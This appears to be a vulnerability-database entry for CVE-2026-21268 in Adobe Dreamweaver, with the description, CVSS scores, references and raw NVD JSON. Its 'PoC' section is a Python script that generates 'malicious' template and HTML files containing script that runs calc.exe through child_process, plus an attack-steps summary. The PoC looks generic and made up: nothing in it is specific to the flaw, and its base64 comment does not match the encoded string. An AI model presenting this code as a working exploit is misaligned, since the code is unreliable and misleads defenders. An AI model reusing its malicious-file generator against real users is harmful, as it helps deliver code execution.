CVE-2026-21268

Description

Dreamweaver Desktop versions 21.6 and earlier are affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file and scope is changed.

CVSS Details

CVSS Score

8.6

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:dreamweaver:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Adobe Dreamweaver Desktop <= 21.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# CVE-2026-21268 PoC - Adobe Dreamweaver Improper Input Validation
# This PoC demonstrates the vulnerability that allows arbitrary code execution
# Note: This is for educational and security research purposes only

import os
import base64

def generate_malicious_dwt_file():
    """
    Generate a malicious Dreamweaver Template (.dwt) file
    that exploits CVE-2026-21268
    """
    # Malicious payload that will be executed when the file is opened
    # In a real attack, this would contain more sophisticated code
    malicious_payload = '''
<!-- TemplateBeginEditable name="head" -->
<script>
// Malicious JavaScript code execution
// This demonstrates the input validation vulnerability
try {
    // Example: Execute calc.exe to prove code execution
    // In real exploitation, this would be more sophisticated
    const { exec } = require('child_process');
    exec('calc.exe');
} catch(e) {
    console.log('Payload triggered');
}
</script>
<!-- TemplateEndEditable -->
    '''
    
    # Create the malicious DWT file content
    dwt_content = f'''
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Malicious Dreamweaver Template</title>
    <!-- Adobe Dreamweaver Template - CVE-2026-21268 -->
    {malicious_payload}
</head>
<body>
    <div id="header">
        <!-- TemplateBeginEditable name="header" -->
        <h1>Compromised Header</h1>
        <script>
            // Additional malicious code injection point
            // This code executes due to improper input validation
            eval(atob("YWxlcnQoJ0NNRS1QMlMtMjEyNjgnKQ==")); // alert('CVE-P2S-21268')
        </script>
        <!-- TemplateEndEditable -->
    </div>
    <div id="content">
        <!-- TemplateBeginEditable name="content" -->
        <p>This template contains malicious code.</p>
        <!-- TemplateEndEditable -->
    </div>
</body>
</html>
    '''
    
    # Save the malicious file
    output_file = 'CVE-2026-21268_malicious.dwt'
    with open(output_file, 'w', encoding='utf-8') as f:
        f.write(dwt_content)
    
    print(f'[+] Malicious DWT file created: {output_file}')
    print(f'[+] File size: {os.path.getsize(output_file)} bytes')
    return output_file

def generate_malicious_html():
    """
    Alternative attack vector using HTML file
    """
    html_content = '''
<!DOCTYPE html>
<html>
<head>
    <title>Adobe Dreamweaver CVE-2026-21268 PoC</title>
    <!-- Exploit payload for improper input validation -->
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
</head>
<body>
    <h1>Malicious HTML File</h1>
    <p>This file exploits CVE-2026-21268 in Adobe Dreamweaver.</p>
    
    <!-- Embedded script that exploits the vulnerability -->
    <script type="text/javascript">
        // Proof of concept for CVE-2026-21268
        // Demonstrates code execution via improper input validation
        (function() {
            console.log('[CVE-2026-21268] Vulnerability triggered');
            // Actual exploitation would execute arbitrary code here
            // For safety, this PoC only logs the trigger
        })();
    </script>
</body>
</html>
    '''
    
    output_file = 'CVE-2026-21268_poc.html'
    with open(output_file, 'w', encoding='utf-8') as f:
        f.write(html_content)
    
    print(f'[+] Malicious HTML file created: {output_file}')
    return output_file

def create_exploit_report():
    """Generate an exploitation guide"""
    report = '''
===========================================
CVE-2026-21268 Exploitation Summary
===========================================

Target: Adobe Dreamweaver Desktop <= 21.6
Vulnerability: Improper Input Validation
CVSS Score: 8.6 (HIGH)
Attack Vector: Local (AV:L)
User Interaction: Required (UI:R)

Attack Steps:
1. Attacker creates malicious .dwt or .html file
2. Attacker delivers file to victim (email, web download, etc.)
3. Victim opens file with vulnerable Dreamweaver version
4. Dreamweaver fails to properly validate input
5. Malicious code executes with user's privileges

Impact:
- Confidential: High (C:H)
- Integrity: High (I:H)
- Availability: High (A:H)

Recommendation:
- Update Adobe Dreamweaver to patched version
- Do not open untrusted files
- Enable file protection features
- Keep antivirus software updated
===========================================
    '''
    
    with open('CVE-2026-21268_report.txt', 'w') as f:
        f.write(report)
    
    print('[+] Exploitation report created: CVE-2026-21268_report.txt')

if __name__ == '__main__':
    print('[+] CVE-2026-21268 PoC Generator')
    print('[+] Adobe Dreamweaver Improper Input Validation')
    print('')
    
    generate_malicious_dwt_file()
    generate_malicious_html()
    create_exploit_report()
    
    print('')
    print('[+] PoC files generated successfully')
    print('[+] WARNING: For authorized security testing only')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-21268
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-21268
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-21268/
[4] VulDB https://vuldb.com/cve/CVE-2026-21268
[5] https://helpx.adobe.com/security/products/dreamweaver/apsb26-01.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-21268", "sourceIdentifier": "[email protected]", "published": "2026-01-13T19:16:24.383", "lastModified": "2026-01-14T20:50:52.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dreamweaver Desktop versions 21.6 and earlier are affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file and scope is changed."}, {"lang": "es", "value": "Las versiones 21.6 y anteriores de Dreamweaver Desktop se ven afectadas por una vulnerabilidad de validación de entrada incorrecta que podría resultar en ejecución de código arbitrario en el contexto del usuario actual. La explotación de este problema requiere interacción del usuario en el sentido de que la víctima debe abrir un archivo malicioso y el alcance se modifica."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:dreamweaver:*:*:*:*:*:*:*:*", "versionEndExcluding": "21.7", "matchCriteriaId": "18B387B5-7F08-419A-B3EC-3CB93C7E9288"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/dreamweaver/apsb26-01.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}